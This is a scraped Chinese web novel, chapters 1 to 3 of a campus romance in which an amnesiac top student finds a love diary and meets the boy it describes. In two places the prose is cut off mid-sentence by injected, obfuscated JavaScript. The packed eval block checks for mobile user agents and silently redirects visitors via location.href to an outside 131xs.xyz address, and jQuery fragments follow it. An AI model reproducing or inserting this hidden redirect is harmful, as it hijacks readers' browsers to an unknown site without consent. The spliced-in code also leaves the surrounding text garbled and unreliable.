《高冷学神错把梦男文当日记后》 1. 失忆 “醒了?” 正午的阳光撒进宽敞的VIP病房里,晃得有些刺眼。 西装革履的中年男人立在病床旁,居高临下地看着病床上动弹不得的人:“断了十四根骨头,脑出血,肋骨再差一毫米就能把你的心脏捅穿。” 他皱了皱眉,金丝眼镜下的眼神带着一丝怒气:“顾渝,你真是让我大开眼界啊。” 病床上躺着一位约莫十七八岁的少年,头上身上都缠着纱布,眉眼弧度挺拔柔和,面无表情的时候却显得有些冷淡,皮肤稍显苍白,一双深黑的眼睛不带神采地盯着冷白的天花板。 “空空”,敲门声响起,病房门被推开,几位穿着白大褂的医生进来检查顾渝的身体情况,顾敛章走到病床的另一侧,用手指轻轻碰了碰他包裹着纱布的额头。 一位医生扒开顾渝的眼皮用手电筒照射了一下,问他一些简单的问题,但顾渝张了张嘴巴,发现自己说不出话,只能艰难地点头或者摇头来回答。 顾敛章问:“他什么时候能出院?” 医生把手电筒收起来,在病历上记了几笔,皱了一下眉之后才回答:“顾总,令公子是高处坠落,脑挫裂伤,颅内出血,身体多处骨折,虽然抢救及时脱离了生命危险,但脑部是否有后遗症还需要我们后续观察。如果想要得到很好的治疗的话,最好是在医院观察三个月左右。” 顾敛章对医生微微颔首,深吸一口气,对顾渝说:“公司还有点事,我给你请了护工,好好养伤,过几天再说我们的事。” 病床上的顾渝缓缓闭上了眼睛,他大脑滞涩,无法思考,但是身体各个地方都感受着清晰而剧烈的痛楚。 他明明记得他上一秒在浴缸里,水温正好,他异常困倦,不自觉地睡着了,可醒来的时候动弹不得,全身的骨头痛得要死。 这是什么情况?顾渝迷茫地想着。 在医院浑浑噩噩躺了不知多久,他浆糊一般无法思考的脑袋终于清晰了一些。 听过来照顾他的护工说,大约两个月前,他从家里的露天花园坠落。 顾渝的脑海闪过关于那晚的零星片段。他把窗帘系在顶层花园的栅栏上,往下爬的时候,栅栏断掉,他没了着力点,也跟着一起坠落。 至于为什么要从楼上爬下去,这一切早已无从知晓。 因为他的记忆还停留在两年前,一睁眼,就已经是现在。 这两年发生了什么,他全都不记得了。 治疗了一段时间之后,无法驱动的身体终于能在房间范围缓慢移动,顾敛章再也没来过一次,他开始寻找失去两年的痕迹。 手机不见,留给他的就只有随身背包里几个月前的竞赛准考证和一本日记。 这是一本已经写了大半本的日记,顾渝翻开第一页,日期从被他遗忘的不久之后开始。 开头的第一句就是“今天开学见到他了,小小的好可爱。” 顾渝“啪”地把日记合上了。 他大脑放空了两三秒,病房里静得只剩下他有些不稳的呼吸声。 他安静了一会,再次打开这本日记的第一页,仔仔细细地分辨了一下,确认了这毫无争议地是他自己的笔迹。 顾渝又盯着那个单立人旁的“他”字看了许久,日记本哗啦哗啦作响。 不是写错,在每一页,各式各样各种形态的“他”都贯穿在这本日记的每个角落。 但这仅仅只是一个开始,越往后看他就越麻木。 “今天发校服了,为了展示校服一整天我都在他身边打转,他害羞了,我男朋友真可爱。” “他受伤了,好心疼,给他买了药,发现他把我名字缩写的创可贴贴在脸上了,暗戳戳的秀什么我不说。” “他今天下午邀请我明晚去学校后面小巷子,激动死了,第一次在学校约会,偷偷摸摸真刺激。” “他生我气了,软绵绵的拳头轻轻打在我胸口,可爱可爱。真想把他摁在墙上,狠狠亲他,可是他不让我在学校这么做。” “每天都和他一起在操场上约会,偶尔一个眼神相交,是彼此都心知肚明的喜欢,我不说,他不说,谁也不知道我们相爱的事。” “他真的很喜欢在很偏僻的地方……” “他非常好哄。只要摸摸他的手声音放软一点,他就不会再生气啦。如果这都哄不好的话,就要轻轻搂住他的腰慢慢摸顺毛了,他就会露出柔软的肚皮,但是有一定失败几率,后果……就先不说了。” “他好善良,今天我们在路上捡到了一只小狗,唐松决定养她,还给她取名叫为什么。” “他撒娇的时候,眼睛瞪得大大的圆圆的。” “芒果过敏了,还非要吃,真是气死我了。” “今天他值日,我留下陪他,他搂着我撒娇跟我喊累,真是的,我还能怎么办呢。不过放学之后他说要奖励我,心满意足了。” “好喜欢他,就这样一起过一辈子,让他一辈子都顺顺利利,开开心心,也不是不行。” …… 最后一次记录,恰好是他坠楼前一天。 日期很近,但物是人非。 记忆退回到十六岁的顾渝紧锁着眉头,看着熟悉的笔迹和极度陌生的文字,呼吸不自知地加重几分。 显而易见的,这是一本少男怀春的恋爱脑日记。 他谈恋爱了? 跟一个男孩? 还这么腻歪? 顾渝闭了闭眼睛,脸色青白交错。 太荒谬了! 不对,这不可能,这是假的!这是造谣! 他自幼沉稳,感情淡薄,怎么可能会去喜欢别人? 而此时,太阳缓缓移过玻璃窗,风扬起树叶,有一瞬间光芒划过他瞳孔,他头一重,记忆碎片突兀地在他脑子里闪现。 是很短的一段记忆,大约只有几秒钟,画面里是一个留着寸头的、皮肤白皙的男孩躺在床上,他脸上有些伤,紧闭着眼睛,好像睡着了。 而他俯身,轻轻吻了一下他的额头。 顾渝:“……” 顾渝一下懵了。 * 医生告诉顾渝,他脑子里的血块是失忆的病灶,有可能明天就突然想起来,也有可能这辈子也想不起来,还劝他出院之后多接触一下以前感情比较深的人和物,刺激记忆有助于恢复。 他不死心地问医生:“那有没有可能导致我幻想出什么,以前没发生过的事情……或者人?” 医生说:“这也是有可能的,你想起来什么了?” 幻想了一个男朋友出来。 还特别真实。 顾渝难以启齿,医生也不勉强,提了个建议给他:“这种情况的话,如果有条件,可以找一下你比较了解信任的人去求证,或者提供一些信息给你,或许能帮助你分辨出哪些是真实经历,哪些是大脑在修复过程中产生的幻想。” “顾渝,”当天下午,一个妆容精致的俊俏男人提着行李箱一把推开顾渝的病房门,“我飞回来看你了!” 他把行李箱甩到墙上,墨镜一摘,马丁靴梆梆作响,倒在顾渝的病床前挤出几滴眼泪来:“亲爱的,听说你失忆了……” 顾渝淡淡打断他:“李辛奇,在我的印象中我们前两天还见过面,上的是科学课。怎么,在我失忆这两年,我们关系突飞猛进了?” 李辛奇讪讪一笑:“那你早说啊。” 顾渝和李辛奇之前同属奉宁某国际学校初中部,一个哑巴,一个喇叭。朋友们受不了李辛奇一张嘴停不下来,李辛奇苦于自己口才无处施展,而后在SEL的选修课上认识了顾渝之后,终于为他的才华找到了伯乐。 无论他说什么,顾渝都是淡淡地,不回答他,但是同样也不拒绝他。 他本以为顾渝根本没在听他讲话,只是有一天他口若悬河不停输出的时候,顾渝突然皱了皱眉说:“这个话题你说过四遍了。”他这才发现顾渝竟然真的有听进去他说的那些废话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883013|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他大为感动,狗皮膏药似的每天缠着顾渝,一来二去,两个人也算熟稔起来。 李辛奇随手搬了个凳子坐在顾渝旁边,“我说你干嘛想不开非要跳窗啊,那什么破竞赛不去就不去了,生日会的事情我们可以再想办法,至于嘛。” 顾渝完全没有丝毫印象,只知道背包里确实有一张次日的竞赛准考证:“是……物理竞赛?” “哦,”李辛奇盯着顾渝,忽然意识到,“你全都忘了是吧。” 在李辛奇的阐述中,顾渝跳楼的第二天本来是要去参加比赛,但顾敛章却在那天晚上叫他立马出国,去参加沈家小女儿十八岁成人的生日宴会,他不同意,就被顾敛章关到房间里。 李辛奇把手机举给他看,最后两条是当晚顾渝给他发的消息: 【我被他关起来了。唯独明天,我不能去。】 【我走了。】 所以,他应该是要逃跑。 只是为了区区一个不知道从哪出来的竞赛冒这么大风险,李辛奇无论如何也不能理解。 “你可以把这两年的事情跟我讲一下吗,”顾渝捏了捏眉头,“我总觉得好像哪里不太对劲。” 李辛奇一拍大腿,他早就想说:“你确实太不对劲了!你知不知道,你初中毕业没出国,去读奉宁的公立中学了。” “对了,你还跟你爸出柜了,搞得轰轰烈烈的,这你也忘了?” 顾渝动作一顿,心神俱震,僵硬重复:“我是gay,还跟顾敛章说了。” 李辛奇:“……是啊。” 遥想顾渝当时满身伤却笑得如沐春风地跟他说“我能去找他了”的场景好像还近在眼前,可现在…… 好不容易习惯了版本2.0的恋爱脑,一朝回到解放前,他还有点不适应了。 “反正我了解的也不多,”李辛奇摆摆手,“因为我去漂亮国读书之后就不怎么能见到你了,不知道你在忙些什么。” 顾渝不信:“等等,我变成gay的事情情有可原,可我有什么理由跟顾敛章讲。” “是因为你……” 李辛奇一噎,表情变得有点古怪, “你说怕你爸以后知道他的话会棒打鸳鸯,先给他打个预防针,让他知道你本来也只会和男的谈恋爱。” 顾渝:“……?” 这么爱吗? 对顾渝此刻僵硬的表情非常满意,李辛奇接着抛出一个重磅炸弹:“不过事实是你对那个男的一见钟情,然后瞬间就弯了。为了他要去奉宁那个公立学校,死活都不愿意出国……不过这些你应该没和你爸说过,总之你好像被那男的下蛊了似的,就跟变了一个人一样。” “对了,你好像还偷拍人家,上课的时候看着他照片一边傻笑一边抹眼泪。” 顾渝:“………………” 一见钟情。 瞬间就弯了。 还和他爸出柜。 傻笑,抹眼泪。 这说的是他?!! 这些词单拎出来一个都如同平行线一样跟他毫无关联,现在成群结队地将他五花大绑了。 竟然短短两年,他就变成这副模样了。 天仙也没有这么大魅力吧。 这人到底是什么来头?!! 深吸一口气,顾渝眉头紧锁:“他叫什么名字。” “啊?”李辛奇没反应过来。 顾渝重复:“那个……男孩叫什么名字。” “我想想啊,你好像真的跟我说过,嘶,叫什么来着……” 顾渝一动不动,李辛奇“啊”了一声:“好像是姓唐,叫什么,唐松?” “然后呢?” “什么然后?” 顾渝难以启齿:“我们……现在到什么地步了。” “这个啊,”李辛奇看了耳根通红的顾渝一眼,微笑道,“去年年末……圣诞节的时候吧,我听你说过一次,你们应该是在一起了,好像感情,还不错?” 2. 见面 唐松是被咚咚的敲门声吵醒的,被吵醒后还没回过劲儿,搓了两把脸才清醒了点,不耐烦的应了一声:“催命呢!” 门外的敲门声还在继续,唐松顶着着鸟窝头,刚打开门,门口就探进了一张挂着慈祥笑容的大油脸,晃晃当当地踏了进来。 “李叔,这么早干嘛啊。” “都六点多了,这还早?”李叔一张大嗓门,厚实的手掌在唐宋背后使劲拍了一下,“小兔崽子,人家正经学生早都上学了,你还在家睡大觉。” 他往四周环视了一下,打量着屋里的环境。五十平两室一厅的老破小,唐松一个人住,却堆得满满当当,客厅正经的家具只有一张摩登风格的破沙发和一张看着传了好几代的八仙桌,但杂七杂八的东西堆了满地,下不住脚。 “别搞得跟收破烂似的,”李叔踢了一脚摆在门口的一堆蛇皮袋子,抬眼看了看唐松瘦削的身板和身上洗得发白的校服,“一米八的大小伙子,一点不注意形象。” “我不就是收破烂的吗,”唐松不明所以,说话时还带着晨起的鼻音,“你又受我婶儿的气了?特意赶来挑我毛病撒气?” “胡说!你婶儿而对我好着呢,”李叔吹胡子瞪眼,“这不都是为了你好!给我倒杯水来!” 唐松还没太清醒,迷迷糊糊地去厨房拿了个碗,倒了点昨天晚上刚烧的白开水递到李叔手里,李叔咕咚咕咚三俩下喝完,嗓门一亮终于进入正题:“你不是要出租一个房间吗……” 提到这个,唐松心思一动:“怎么着?有信儿了?” 李叔点了点头,带了点笑意:“一个高三的,着急住。这都开学了才来找房子,我就说只剩你这儿了。” 这房子是老破小没错,但离附近的重点中学很近,算是个学区房,因此楼上楼下出租的不少。 唐松每年都挂出租,但这房子他也得住,因此只能租一个房间出去。这是一楼,租客怕不清静,来看房的很少。 租房的大多是高三高四的学生或者家长,图个近也图净,就算过来看了房,有的嫌房子太乱,有的嫌唐松脸臭,看着不像善茬。 附近一打听,得,果真劣迹斑斑,邻居都说三天两头打架挂彩,房子更租不出去了。 “外地的啊?现在住哪啊?什么时候过来看房子?” “我把他电话给你,你们不是一个学校的吗,正好放学带他过来看。我告诉你啊,你赶紧把这地方收拾出来,人家来了你让他住在垃圾堆里啊?” 唐松皱着眉窝在沙发里犯懒。他是单眼皮,眼尾上挑,眼神天生就带着不屑的劲儿,即使放空的时候也照样一副要你命的架势,第一次见的话确实容易犯怵。 李叔有点不放心:“那人打电话过来听着挺文明一小伙儿,高三的心理压力都大,都脆弱,你可别吓唬人家。” “我也是高三好吗,没事我吓唬他干嘛啊?”唐松半眯着眼,手指戳着两边脸颊肉一提,勾出一个假笑来,“我天天就这么对他笑。” “别贫了,我就这点事儿,晚上你自己联系人家吧。没事我走了,定下来就把人家叫上,过来家里吃顿饭。”李叔站起身摆摆手表示不用送,临走前看见门口摆的一堆破烂饲料袋子,随手踢了一脚。 唐松没正形儿地歪着头:“里头装的都是玻璃,小心扎您脚。” 今天是高三开学的第一天。十一高早上八点上课,早自习是七点,但唐松起不来,基本没去过几次。 到了这个点,学校外面几乎没学生了。 他晃悠到学校附近的早餐铺,铺子里没什么生意:“阿姨,来个素包子,一碗稀粥。” 唐松脱了校服把粥放桌子上,刚坐下还没张嘴,旁边伸出一只手端起他面前的粥就吸溜了一口。 他寻思哪个手欠的过来找茬,一抬头,呦呵,还是个熟人。 喝粥的名叫谢洋,简而言之,是个变态。 上学期,唐松班里几个住宿的女同学说晚上上厕所的时候被变态偷窥了,还听到拍照声,搞得女寝楼人人自危,一时间人心惶惶。 变态神出鬼没,报了警取了证,但这人只走监控死角,找不到,宿管带着几个值夜勤的保安抓了三天都没蹲到,可见其反侦察能力之强大。 学校说事情闹得这么大,又报了警,人应该不会再来了。但女生们还是害怕,唐松也觉得这事不能这么算了,和其他班几个男生一起跟住宿的女生商量了一下,晚上从女生寝室的窗户爬进去,撅了几个拖布杆子抱着在厕所外面睡了一周,终于把试图再次作案的人逮住了。 当时他们蹲在走廊的拐角,迷迷糊糊的时候厕所外面出现了一个鬼鬼祟祟的人影,当即给人抓了个现行。 谢洋被抓的时候还没反应过来,脸上还挂着有点荡漾的笑意。唐松看那笑容太猥琐,一时没忍住多给了他两拳。 谢洋这人在学校里成绩中规中矩,性格也沉闷,很不显眼,怎么看都是个老实人。同学都没想到他会做出这样的事来。 此事一出,他也没脸在学校上学,说是精神出了点问题,退学走了。 不过他不知怎么,退学之后性情大变,认识了一帮流氓地痞,别的都忘了,只记恨唐松给他那两拳,天天堵在门口找他的麻烦。 这其实已经不是他第一次过来挑衅唐松,但他一副精神恍惚身体孱弱的样子,唐松当然不怕他,抬手一挥就掀了谢洋拿在手里的粥碗。 他力气不小,塑料碗磕到谢洋的下巴上,粥撒在他脸上烫得他大叫起来。 唐松冷笑两声:“你抖M喜欢找抽是吧?还是上次是揍得太轻,没让你记住啊。” 谢洋被粥洒了满身,此时表情更不好看,不过他似乎想到了什么,很快又露出一个阴沉沉的笑容来:“别装好人了,我最讨厌你那副虚伪的样子。你又比我好到哪里去?谁知道你去女寝有什么目的?” “我们都一样吧,其实你心里想的比我还恶心,”他越说越激动,眼神死死地盯着唐松,嘴里缓缓吐出几个字,“诱拐犯的儿子!” 这话让唐松眼神一变,他下意识地看向在后厨的老板,发现好像没人听见他们的对话,抓起校服就往外走,谢洋在后面哈哈大笑:“你走吧,你个懦夫,你那个傻子同伙,要替你挨揍喽!” 唐松霎时脚步一顿,他回头三两个箭步冲上前去,拽着谢洋的衣领子把他拎出了早餐铺,狠狠地甩在了墙上:“阿莱在哪?” 谢洋后背像被车子碾过一般疼痛,还没来得及喘息,唐松胳膊肘就死死抵在他脖子上,力度大的让他无法呼吸。 直到此时他才真正生出几丝惧意来,其实他不敢真正激怒唐松,因为他知道唐松这种人打起架来是真的不管人死活—— “咳……咳……不是,我,我只……是路过,他们在,在东门那条巷子。” 话音刚落,身上千斤骤然消失,唐松已经如同豹子一般冲了出去。 谢洋腿一软,整个人顺着墙滑到了地上。 唐松没用多长时间就赶到了东门那条巷子,那是条非常隐蔽的巷子,因为隐蔽,所以经常聚集一堆社会闲散人士,还有不良学生烟熏雾绕地高谈阔轮兄弟情义,堪称犯罪与暴力最初的温床。 如果单论打架的话,唐松也可以说是这里的常客。 他喘着粗气赶到时,一个瘦小的身躯趴在地上,他被几个人围住,脸颊被踩在脚下摁在地上反复踏碾。整个人缩成一团躺在地上不知死活。 那几个混混带着鸭舌帽和口罩:“这他妈是个傻子吧?也不叫。” “他敢叫吗?他心虚得很吧。” 唐松怒不可遏,身体的反应快过思考,三步并作两步冲上前去,一个虎袭挥拳击在了一人的面门上:“你有本事冲我来啊!” 被打的男人一身黑衣,带着鸭舌帽,左耳的黑色的耳钉被唐松打掉,滚落在地,带出一丝血线。 他嘴角挂了点彩,反应过来后很快挥拳朝唐松的面部砸去:“好久不见啊!” 鸭舌帽是之前跟他有过一点冲突的社会闲散人士,总在学校附近找落单的学生要钱,被唐松收拾了一顿之后,打不过他,就试图朝着他身边人下手。 唐松抬手用小臂抵了这一拳,二人在这逼仄的环境中很快扭打起来。 “他什么都不懂,关他什么事!” 唐松勾腿猛顶他的肚子,他挥拳的速度很快,又带着一股不要命的气势,唐松找准时机冲着肚子使劲砸了几下,对方惨叫一声,没过一会便落在下风。 出拳的速度太快,他用了十成十的力气,手背擦到粗糙的水泥墙面上,皮肉瞬间被撕开,一阵钝痛。 唐松握了握拳,鲜血涌出来。 他“啧”了一声,甩甩手,继续冲上去。 收拾了带头的,那几个小混混明显招架不住,没过一会,有几个躺在地上已经投降。 他垂眸看了一眼躺在地上哀叫挣扎的几人:“就这点实力还敢出来打架?” 领头的捂着肚子站起来,试图继续攻击:“这才哪到哪啊!” 还没等他动作,从巷子口突然传来一声大喊:“有人来了!!好像十一高那学生会主席过来抓人了!” 场面顿时一静。 几个混混对视一眼,脸色稍变。即使是外校的,这些人也都或多或少听过顾渝的“威名”—— 凡是在他眼皮子底下打架斗殴的,都没什么好下场。 如果是学生,不管你是哪个学校的,第二天保准会站在主席台面前声情并茂地朗诵检讨书,像他们这些无业的闲散社会人士,进局子留个档案是少不了的。 最重要的是,顾渝家有钱有势,一般人惹不起他。 小混混啐了一口:“我靠啊,怎么哪都有他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883014|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “艹啊他不是死了吗?” “快跑吧,你忘了上次在这边打架的最后被他搞成什么样了吗……” 几个小混混骂骂咧咧地,顷刻间跑得无影无踪。 唐松靠在墙上猛喘着气,耳朵虽然听见他们的对话,只是脑子还有点发懵。 缓了一会,气息喘匀之后,他眼珠一转,视线定格在巷子口。 大半年不见。杳无音讯、生死不明的死对头,正站在巷子口。 他校服依旧穿得一丝不苟,背脊挺直,背着光,脸上的表情看不清。 唐松皱了一下眉。 “顾渝?” 下意识出声之后,他自己都愣了一下。 这个名字,好像很久都不曾说出口了。 唐松还记得他们最后一次见面,是他被罚扫学校操场的最后一天。扫完之后,他把扫帚狠狠地丢给主动要求监视他的顾渝:“行了吧,以后少在我面前晃悠。” 虽然他已经记不清顾渝当时的表情了,不过那张脸上能够出现的表情,他闭着眼睛都想象得到。 之后,顾渝就忽然人间蒸发,再也没来过学校。 反正,顾渝不在这段日子,他乐得轻松。 他收回视线,盯着被烟熏黑的墙面之中突兀冒出来的一颗杂草,不知心里在想些什么。 脚步声渐进。 唐松背贴着墙,撩起眼皮,一双狭长的眼睛略微抬着,看着不知何时已经出现在他身边的死对头。 他眼神很凶,眼尾上挑,琥珀色的瞳仁一眨不眨,有些森然的冷意。 他蹙着眉,一下打掉他伸过来的手,像过去每一次顾渝来抓他的时候一样,习惯性地道:“你又抽什么风。” 对方动作一滞。 “……唐松。”顾渝开口,鼻音浓重。 唐松这才注意到,顾渝那张一贯冷峻的脸上此刻全是蜿蜒的泪水,活像一个男鬼。 唐松:“……” 他嗓音滞涩,扯着嘴角:“怎么,你来索我命了?” 说着下意识低头一看。 有影子。 又攥了攥手指。 刚才的触感是温热的。 活的。 “那你哭什么?”唐松咳了一声,“这么久不见,一见面就被我吓哭了?” 顾渝这种人,还会流眼泪? 打哈欠忘擦干净了? 但机会难得,就算顾渝患了迎风流泪,那也是把柄。 他本能地拿出手机“咔嚓”拍了一张照。 尖尖的小虎牙露出来,送顾渝一个皮笑肉不笑的虚伪假笑。 “你要是敢把我打架的事告诉老师,明天我们顾大主席被我揍哭的照片,就会出现在每个班的黑板上,你最好给我看着办。” * 顾渝的手滞在空中。 心脏如擂鼓般跳动,多巴胺极速分泌,眼泪不知何时从眼泪夺眶而出。 眼前的人很瘦,冷白色的皮肤在阳光下几近透明,而嘴唇却是红润的。琉璃一般的眼珠泛着暖色的光,靠着墙,就这么微微抬眸,略带一些埋怨地看着他。 对视的那一瞬间,他什么想法都没有了。 喜欢他。 顾渝大脑里有个声音疯狂呐喊着。 即使那只那只“软绵绵的拳头”上,现在还沾着血迹。 但顾渝已经看不到了,他满脑子都是,小猫。 好可爱。 眼睛也像,张牙舞爪的样子也很像。 我竟然能交到,这么漂亮的男朋友吗? 唐松扶起趴在地上睁着空洞的大眼睛不知道在想什么的阿莱,拍拍他身上的灰土,表情柔和:“我们走。” 顾渝下意识地伸手,想拉住他,却只抓住了他校服的衣角。 唐松拧着眉回头看他,眉宇间尽是不耐烦。 “干毛啊你。”小猫发出了怒吼。 顾渝一下卡了壳。 小猫看起来,好像不太冷静。 可能是……太久没见的原因吧。 不管怎么说,现在的他毕竟没有记忆,顾渝努力露出一个僵硬的微笑,试图营造一些重逢的氛围,以缓解对方的不安:“那个,好久不见,你……你好吗?” “啥?” 唐松鼻子津起来,手臂抬起,手腕弯曲,竟是竖了一个标准的中指送给他:“傻x,你又发什么疯!” 嗯? 顾渝看着那个骨节分明的中指,心神俱震。 ……这么辣的吗? 顾渝有点迷茫。 他没再往前进一步,立在原地,看着唐松背着阿莱的背影越来越远,像被封印了似地不动了。 北方九月秋日的清晨,秋风里夹着土壤潮湿的气息扑面而来,零星黄叶飘过,悠悠转转,落在顾渝的脚边。 3. 男朋友 “我就说你是胡扯,这都快上课了,人怎么还没来?” 高三八班的教室,众人趁着老师不在,众人窃窃私语。 “不可能,我在楷姐办公室门口听得清清楚楚,你不觉得楷姐最近情绪不太对劲吗,肯定是因为这事儿!” 班长沈楚楚带头八卦,一脸神秘兮兮。 他们班主任赵楷,人称楷姐,自称芳龄二八,研究生毕业后来十一高教书,八班学子正是她的开山大弟子。 因为是第一届,师父徒弟都是新手,一路磕磕绊绊走过来,跟同学关系都十分不错。 “啊?可是我听别人说学神不是以已经……” “呸呸呸,”沈楚楚道,“你说什么呢,这还不都是别人瞎传的,这种捕风捉影的东西不要信!不信谣不传谣!” 沈楚楚的同桌赵棠偷偷刷着手机,突然大叫一声:“卧槽你们快看!!!学校微信公众号发了什么!!!” 瞬时间,大家掏兜低头一气呵成,沈楚楚就着赵棠的手机,第一眼就看到了他们校长光亮的秃头和坐在病床上面无表情的顾渝,激动之下眼泪都快出来了。 赵棠大声念了出来:“我校三年级学生顾渝因意外受伤不得不暂时休学休养。得知这一情况后,我校校长林德彪专程前往医院进行慰问,送去学校的关怀与温暖……最后一句写着,高三八班顾渝同学将于新学期,括号秋季,重新返校!” “真的吗?!” “我靠我也看到了,是真的!” 还有人带着哭腔:“我就说学神不能这么容易就噶了,当时谁传的谣我跟他拼命……” 去年冬天,顾渝突然就从班里消失了。 他是竞赛生,确实时常不在班里。开始的时候,众人都以为他去参加竞赛了。 可是竞赛结束后,竞赛生陆陆续续都回来了,大家升学的升学,备考的备考,学校光荣榜换了好几次,他也没有消息。 没过几个月,不知道从哪里传出来的消息,有人说顾渝从楼上摔下来正在ICU抢救,过了一段时间有人说顾渝脑死亡成植物人了。 沈楚楚和几个同学试探班主任,想要去慰问顾渝,可是班主任赵楷一脸复杂地把她撵走了:“没有的事,顾渝家里有点事,你们不要担心。” 又过了几个月,高二马上要结束了,有人在学校大群里说:“你们听说了吗?顾渝没抢救过来已经……” “反正现在校领导和老师都在瞒着这个事不想让大家知道,怕影响学习……” “你问我怎么知道的,我刚在厕所门口听别人说的。” 此言一出,一时间猜忌不断,有人信了,有人没信。总之在这种氛围下,高三到来了。 门口传来轻微的响动,坐门口的同学声若洪钟地咳嗽了一声,整个教室瞬间安静下来。 班主任楷姐推开门,先是佯装生气地喊了一声:“安静!走廊就听到你们说话了,都高三了一个一个都不知道抓紧时间吗!” 等到教室安静下来一些,一双双清澈的大眼睛都盯着她的时候,楷姐望向门口,语气和缓了一些:“顾渝,你进来吧。” 顾渝捧着箱子进门那一刻,讲台下不知是谁发出了巨大的抽吸声,这个声音唤醒了震惊到失言的众人,紧接着,桌椅滋滋啦啦开始摇晃起来,一时间各种喊声此起彼伏。 “我靠学神,你回来啦!” “我的妈啊啊啊啊诈尸啦?!!” “诈你弟啊,你看到没,有影子,活的!” “学神你是看破尘世去出家了吗,现在又还俗了吗。” 教室里如同上演动物总动员一般精彩纷呈,赵楷笑着轻轻拍了拍他的后背:“你走之后重新分座了,你先暂时做最后一排那个位置。” 顾渝点点头,顺着老师手指的方向瞅了一眼,从中间的过道往最后一排走时,两岸猿声啼不住,一双双眼睛滴溜溜地看着他,顾渝走过去,像是森林里的吉吉国王。 赵楷轻咳一声:“行了行了别嚎了小猴子们,有事之后再问,现在先抓紧学习。” 教室里这才渐渐安静下来,赵楷扫视了一圈神态各异的大弟子们,最终眼神定格在顾渝旁边的座位,问道:“楚楚,唐松来了没有?” “一直没来,老师。” 赵楷眉头一皱:“第一天就不来,反了他了。”说罢又风风火火地走了。 趁着早自习,顾渝整理了一下他留在学校的书和笔记,是熟悉的字体,工工整整,是他一贯的风格。笔记很全,各个科目都有,他仔仔细细看了一下,发现自己可以看懂这些从未学过的东西。 医生之前给他做过测试,发现他的大脑语义记忆和知识没有受损,忘掉的只有情景性的记忆,也就是说,学过的知识他还能记得,只不过在脑海中没什么体系,要重新整理。 顾渝轻轻把笔记合上。 只不过遗憾的是,里面没有任何对他恢复记忆有帮助的信息。 这些东西毫无生活化的痕迹。 不过这也不奇怪,顾渝不太喜欢留下能被当成把柄的痕迹,所以看到那本日记的时候,才会那么惊讶。 前桌秦云鹤回过头来,跟他熟稔地搭话:“大佬,你这半年干嘛去了啊,连我们消息都不回。” 这张脸对顾渝来说很陌生,但对方却未必如此,顾渝抿了抿嘴,坦白道:“其实我……” 五分钟之后。 “啥?!!失忆了?!”秦云鹤激动得一拍桌子,一时之间没控制住音量。 刹那间一颗颗脑袋都抬了起来,放着八卦的精光,大家也不管早自习不早自习,反正他们班每次都是“整个走廊里最吵的”。 顾渝一下被好多人围住了,脑袋叠脑袋将他身边包裹得水泄不通。 “啥失忆了???” “学神你之前干嘛去了?” “我们都以为你一声不吭就转学了呢。” “我,我听别人说你s……”然后迅速地被捂住了嘴。 顾渝看着面前陌生的一张张脸,一时不知道该怎么反应。但是他察觉得到大家都没有恶意,于是省略了一些关键点简单地阐述了一下。 “不小心受伤了,伤的不重。” “嗯,碰到头了,忘记了一些事情所以在家休养,一直没回来上学。” 众人听了之后震惊又惋惜:“所以你现在走不了竞赛了,要和我们一起参加高考了吗?” “身体没事了吧?” “虽然但是学神的文化课成绩也很权威啊。” “不会吧呜呜,那我们你都忘记了吗?” “撞到脑子记忆力也会变差吗?” “嗨其实本来学神也不一定能记得……”还是那人,又迅速地被捂住了嘴。 “那之前学的东西不会也都忘了吧,我们八班还指着你再创辉煌呢,你走了之后我们再也没有干过七班那群呆子了。” “好了好了,大家安静一点吧,”沈楚楚被赵棠推着走到顾渝的位置,她是个清秀的女孩,有着一双漂亮的小鹿眼,她带头说:“顾渝同学,我们大家重新认识一下吧,我叫沈楚楚,是咱班的班长,以后有什么事情都可以问我。” 顾渝点点头,众人闻言纷纷开始介绍自己,层峦叠嶂一声接一声,场面十分混乱。顾渝完全没能听清他们在说什么,只记住了几个离他比较近的人名。 东一句西一句地聊了一会,下课铃响了,沈楚楚展现出了班长的气势:“同学们,该去厕所的去厕所,睡觉的睡觉预习的预习,顾渝身体还没好,大家让他安静一点,不要过分关注了。” 众人这才作鸟兽散。 沈楚楚说着说着,眼神就瓢到了顾渝旁边的座位上。 旁边的桌子上摆着一本封皮破烂的语文书,桌肚里塞得满满当当,全是新书。 语文书上放着一个名签,名签上的照片是一个寸头的男生,就算是证件照也撇着嘴,眼神很不耐烦地看着镜头,总之不像善茬。 照片右面还写着名字“唐松”。 沈楚楚“咦”了一下:“这是唐松的座位?老师怎么会让你俩……”坐一起了。 顾渝早就看到了唐松名签上的照片,笑了笑:“怎么了?” 沈楚楚一下语塞:“啊,这个……” 这叫她怎么说?! “我之前听别人说起过唐松,”顾渝试探道,“我们是不是,还挺熟的。” “啊?”沈楚楚被顾渝的用词惊呆了,但是好在她非常善解人意,“啊……嘶……这么说也不是不行……” 倒也没说错,某种程度上来讲,他俩确实还……挺熟的。 只不过她不知道顾渝嘴里的“熟”,跟她想的一不一样。 她犹豫着点了点头,顾渝的前桌回过头来。 “哥哥啊,你不在的日子,松子已经晋升妇女之友了,”前桌秦云鹤抱拳坐着给顾渝鞠了一躬,“刚才忘记自我介绍了,小生秦云鹤,参见大佬。” 